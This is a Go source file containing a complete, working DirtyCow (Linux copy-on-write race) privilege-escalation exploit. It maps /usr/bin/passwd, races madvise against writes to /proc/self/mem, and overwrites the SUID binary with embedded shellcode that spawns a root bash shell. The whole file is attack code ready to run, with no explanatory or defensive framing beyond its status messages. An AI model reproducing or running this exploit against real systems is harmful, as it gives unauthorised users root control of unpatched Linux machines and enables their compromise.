package main

import (
	"bytes"
	"fmt"
	"log"
	"os"
	"os/exec"
	"syscall"
	"time"
)

var mapp uintptr
var signals = make(chan bool, 2)

const SuidBinary = "/usr/bin/passwd"

var sc = []byte{
	0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
	0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
	0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
	0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
	0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
}

func madvise() {
	for i := 0; i < 1000000; i++ {
		select {
		case <-signals:
			fmt.Println("madvise done")
			return
		default:
			syscall.Syscall(syscall.SYS_MADVISE, mapp, uintptr(100), syscall.MADV_DONTNEED)
		}
	}
}

func procselfmem(payload []byte) {
	f, err := os.OpenFile("/proc/self/mem", syscall.O_RDWR, 0)
	if err != nil {
		log.Fatal(err)
	}
	for i := 0; i < 1000000; i++ {
		select {
		case <-signals:
			fmt.Println("procselfmem done")
			return
		default:
			syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mapp, uintptr(os.SEEK_SET))
			f.Write(payload)
		}
	}
}

func waitForWrite() {
	buf := make([]byte, len(sc))
	for {
		f, err := os.Open(SuidBinary)
		if err != nil {
			log.Fatal(err)
		}
		if _, err := f.Read(buf); err != nil {
			log.Fatal(err)
		}
		f.Close()
		if bytes.Compare(buf, sc) == 0 {
			fmt.Printf("%s is overwritten\n", SuidBinary)
			break
		}
		time.Sleep(1 * time.Second)
	}
	signals <- true
	signals <- true

	fmt.Println("Popping root shell")
	fmt.Println("Don't forget to restore /tmp/bak\n")

	attr := os.ProcAttr{
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	}
	proc, err := os.StartProcess(SuidBinary, nil, &attr)
	if err != nil {
		log.Fatal(err)
	}
	proc.Wait()
	os.Exit(0)
}

func main() {
	fmt.Println("DirtyCow root privilege escalation")
	fmt.Printf("Backing up %s.. to /tmp/bak\n", SuidBinary)

	backup := exec.Command("cp", SuidBinary, "/tmp/bak")
	if err := backup.Run(); err != nil {
		log.Fatal(err)
	}

	f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
	if err != nil {
		log.Fatal(err)
	}
	st, err := f.Stat()
	if err != nil {
		log.Fatal(err)
	}

	fmt.Printf("Size of binary: %d\n", st.Size())

	payload := make([]byte, st.Size())
	for i, _ := range payload {
		payload[i] = 0x90
	}
	for i, v := range sc {
		payload[i] = v
	}

	mapp, _, _ = syscall.Syscall6(
		syscall.SYS_MMAP,
		uintptr(0),
		uintptr(st.Size()),
		uintptr(syscall.PROT_READ),
		uintptr(syscall.MAP_PRIVATE),
		f.Fd(),
		0,
	)

	fmt.Println("Racing, this may take a while..\n")
	go madvise()
	go procselfmem(payload)
	waitForWrite()
}
